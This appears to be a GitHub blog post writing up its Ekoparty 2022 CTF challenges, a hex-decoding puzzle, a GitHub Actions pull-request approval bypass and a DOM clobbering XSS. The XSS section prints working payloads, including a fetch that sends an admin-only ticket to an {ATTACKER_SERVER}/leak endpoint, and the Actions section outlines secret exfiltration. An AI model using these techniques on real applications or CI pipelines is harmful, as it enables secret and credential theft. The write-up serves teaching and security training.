GitHub’s CTF Challenges at Ekoparty 2022
For Ekoparty 2022, GitHub sponsored the event’s Capture The Flag (CTF) competition with a four-stage challenge series. The puzzles were designed collaboratively by Hubbers over several weeks, covering topics from simple encoding to DOM clobbering and binary exploitation—all wrapped in a fictional university theme called “Octoversity.”
The Admission Test: Decoding a URL
Players began with an “admissions test” repository containing a course syllabus, password-protected PDFs, and a coding problem. The key file was intro.py, which contained hex-encoded data that needed to be converted into a functional URL:
import binascii
import math
YourFirst = "lesson"
t = int.from_bytes(YourFirst.encode(), byteorder='little')
for i in range(0,29):
m = t % 23
t*=m if m>2 else 2
for i in range(0,1024):
m = i % 27
t-= pow(m,m) if m>0 else m*m
for i in range(0,32062):
m = i % 23
t-= pow(m,25) if m>0 else m*m
for i in range(0,43052):
m = i % 19
t+= pow(m,24) if m>0 else m*m
for i in range(0,36582):
m = i % 13
t+= pow(m,24) if m>0 else m*m
for i in range(0,813):
m = i % 11
t-= pow(m,24) if m>0 else m*m
for i in range(0,554772):
m = i % 7
t-= pow(m,24) if m>0 else m*m
for i in range(0,789):
m = i % 5
t+= pow(m,24) if m>0 else m*m
for i in range(0,3753):
m = i % 4
t+= pow(m,24) if m>0 else m*m
for i in range(0,5711):
m = i % 3
t-= pow(m,24) if m>0 else m*m
for i in range(0,101234):
t-= 128
t += 328
p = 3562927236051182334153575355087347127407987755959461320351305838619130268209476696833779953363710389416751
print(f'To access the course:\n "https://" + DECODE({hex(p)[2:]}) + "/{hex(t)[2:]}"')
The solution was straightforward: decode the hex string p using a tool like CyberChef:
This yielded https://classroom.github.com/assignment-invitations/25a94104e34a852f3af0a8a53d734fad, which unlocked the next phase.
Exploiting GitHub Actions Protections
The second stage tested players’ understanding of GitHub Actions security misconfigurations. Registration happened through a GitHub issue, which triggered a workflow that created a private challenge repository per player. This gave each contestant a realistic environment with write access while keeping solutions private.
The repository template included a secret tied to a specific environment, and that environment had protection rules restricting execution to a particular branch. Branch protection also required pull request approval before merging to main. The core workflow players targeted was:
name: Grade the Pull Request
on:
workflow_run:
workflows: ["PR Management"]
types:
- completed
pull_request_target:
branches:
- main
jobs:
build:
runs-on: ubuntu-latest
environment: CTF
steps:
- name: Checkout head branch of PR
uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.ref }}
repository: ${{ github.event.pull_request.head.repo.full_name }}
- name: Checkout main branch of this repo
uses: actions/checkout@v3
with:
ref: main
path: ./grading
- uses: ruby/setup-ruby@v1
with:
ruby-version: 3.0.0
- name: Grade the Pull Request
run: |
gem install octokit
ruby grading/script/grading.rb
env:
FLAG: ${{ secrets.FLAG }}
This workflow ran a grading script that exposed the name of a flag-containing secret. A supporting workflow called “PR Management” automatically closed branches that didn’t target main:
name: PR Management
on:
pull_request_target:
types: [opened]
branches-ignore:
- 'main'
jobs:
close_pr:
runs-on: ubuntu-latest
steps:
- uses: superbrothers/close-pull-request@v3
with:
comment: "Pull Requests are only accepted against the `main` branch."
cleanup_branch:
runs-on: ubuntu-latest
name: Delete non-grading branches
steps:
- name: Delete those pesky dead branches
uses: phpdocker-io/github-actions-delete-abandoned-branches@v1
id: delete_branches
with:
github_token: ${{ github.token }}
last_commit_age_days: -1
ignore_branches: main,grading
dry_run: no
One notable aspect of this stage is that the design team initially expected players to exploit an RCE vulnerability in grading.rb via its use of YAML.load. According to research on universal RCE with Ruby YAML, this function accepts player-controlled content that can lead to code execution. However, a basic version of the challenge was too easy—testers found they could bypass the environment protections by running a workflow from another branch. This led to the addition of environment protection rules that tied the secret to the CTF environment.
The ultimate solution involved several steps:
- Create a new branch (e.g.,
player_branch) - Remove existing workflows from that branch
- Add a custom workflow that exfiltrates the flag
- Open a pull request from
player_branchtomain - Create a second branch (e.g.,
approval_branch) - Delete its existing workflows and add a workflow that approves the first pull request, then trigger it
This approach worked because GitHub Actions’ ability to create or approve pull requests hadn’t been disabled. Once the unapproved pull request was approved, the attacker’s custom workflow ran in the protected CTF environment, and flag retrieval was trivial.
Design Flaws and Player Discoveries
Feedback from participants revealed an issue with the environment protection rules: they didn’t actually prevent secret access from other branches within the same repository. GitHub Engineering is aware of this bug, which remains pending resolution. As a result, this exact challenge won’t be reproducible in the future.
Some players also found alternate fork-based solutions enabled by the use of pull_request_target, which allows untrusted code from forks to run in a privileged context. GitHub’s security research team has published guidance on the risks associated with this workflow trigger.
DOM Clobbering to Impersonate an Admin
The third stage simulated a ticketing system used by Octoversity teachers to request IT help. The challenge consisted of a Flask app with an accompanying Selenium bot that visits reported tickets. The goal was to break the application’s XSS sanitization by abusing how DOMPurify configuration loading could be manipulated.
The target was a ticket belonging to a user named Jordi, containing what appeared to be a secret. Ticket contents were restricted to the creator and the administrator:
@app.route("/api/ticket/<ticket_id>", methods=["GET"])
@login_required
def api_profile(ticket_id):
ticket = Ticket.query.filter_by(id=ticket_id).first()
if ticket:
if ticket.from_id == g.user.id or g.user.id == 1:
return jsonify(content=ticket.content)
else:
jsonify(error="You are not allowed to see this ticket")
The app’s reporting mechanism allowed players to impersonate the administrator by causing the bot to log in and visit the reported ticket:
driver.get("/signin")
WebDriverWait(driver, 10).until(
ec.element_to_be_clickable((By.ID, "usernameInput")))
driver.find_element("id", "usernameInput").send_keys(
os.environ.get("ADMIN_BOT_USER"))
driver.find_element("id", "passwordInput").send_keys(
os.environ.get("ADMIN_BOT_PASSWORD"))
driver.find_element("id", "submitButton").click()
driver.get("/ticket/{ticket_id}")
sleep(os.environ.get("BROWSER_SLEEP"))
Ticket rendering was the vulnerable area. The script that renders a ticket fetches a sanitized version of the ticket’s user data (specifically, the user’s about section) plus the ticket content:
<!-- TODO: Improve ticket rendering and add button to report to an agent -->
<div id="about"></div>
<div id="ticket"></div>
<script>
const getDOMPurifyConfig = async (url) => {
const response = await getJSONfromURL(url)
return response.configuration
}
const sanitize = async (unsafe_html) => {
const configuration = await getDOMPurifyConfig(window.DOMPurifyConfigURL || "/api/dompurify_config")
return DOMPurify.sanitize(unsafe_html, configuration)
}
const main = async () => {
// get about from user
const user = await getJSONfromURL('/api/profile/{{ user.id }}')
document.getElementById("about").innerHTML = await sanitize(user.about)
// get ticket contents
const ticket = await getJSONfromURL('/api/ticket/{{ ticket_id }}')
document.getElementById("ticket").innerHTML = await sanitize(ticket.content)
}
main()
</script>
The sanitize function normally fetches /api/dompurify_config, which returns an empty configuration:
# Note to researchers, default configuration is enough to prevent XSS attacks
@app.route("/api/dompurify_config", methods=["GET"])
def dompurify_config():
return jsonify(configuration={})
However, the function also attempts to read from window.DOMPurifyConfigURL, a variable that’s undefined. Because ticket content is sanitized in two iterations, players could inject DOM elements that clobbered window properties between iterations. Adding an element like <a id="DOMPurifyConfigURL" href="{ATTACKER_SERVER}/configuration"> changed what the URL reference resolved to, since elements with an id become properties of window. For an anchor tag, the string representation is its href attribute—exactly what gets passed to fetch.
With control over the DOMPurify configuration, players could return custom rules such as "ADD_ATTR": ["onerror"]. This allowed HTML like <img onerror='js-here' src='x'> to pass the second sanitization pass, triggering JavaScript when the image fails to load.
Before this could be used to leak the flag-containing ticket, players first had to determine the ticket ID, which followed the pattern uuid4().hex. Each user profile displays their assigned tickets via /profile/<int:user_id>. Since Jordi was created right after the administrator, Jordi’s ID was 2:
{% if tickets %}
<div class="list-group">
{% for ticket in tickets -%}
<a id="ticket" href="https://github.blog/ticket/{{ ticket.id }}" class="list-group-item list-group-item-action">{{ticket.id }}</a>
{% endfor %}
</div>
{% endif %}
By fetching that profile page and extracting the ticket ID:
r = await fetch('/profile/2');
text = await r.text();
const parser = new DOMParser();
const doc = parser.parseFromString(text, 'text/html');
const ticket_id = doc.getElementById("ticket").href.split("/")[4];
With the ticket ID in hand, players could use the XSS payload to impersonate the administrator, leak the ticket contents back to their own server, and retrieve a personal access token (PAT) that opened the final stage:
r = await fetch('/api/ticket/' + ticket_id);
json = await r.json();
await fetch('{ATTACKER_SERVER}/leak?foo=' + encodeURIComponent(JSON.stringify(json)));
ImmutableMultiDict([('foo', '{"content":"<h4>Hi team!\\nI\'m having some issues with the authentication API, can you check if this PAT works for you?\\nThanks in advance!\\nPAT: <PAT_HERE></h4>"}')])
No participants solved the final stage—a reverse engineering and binary exploitation challenge—so it’s expected to return in a future event.



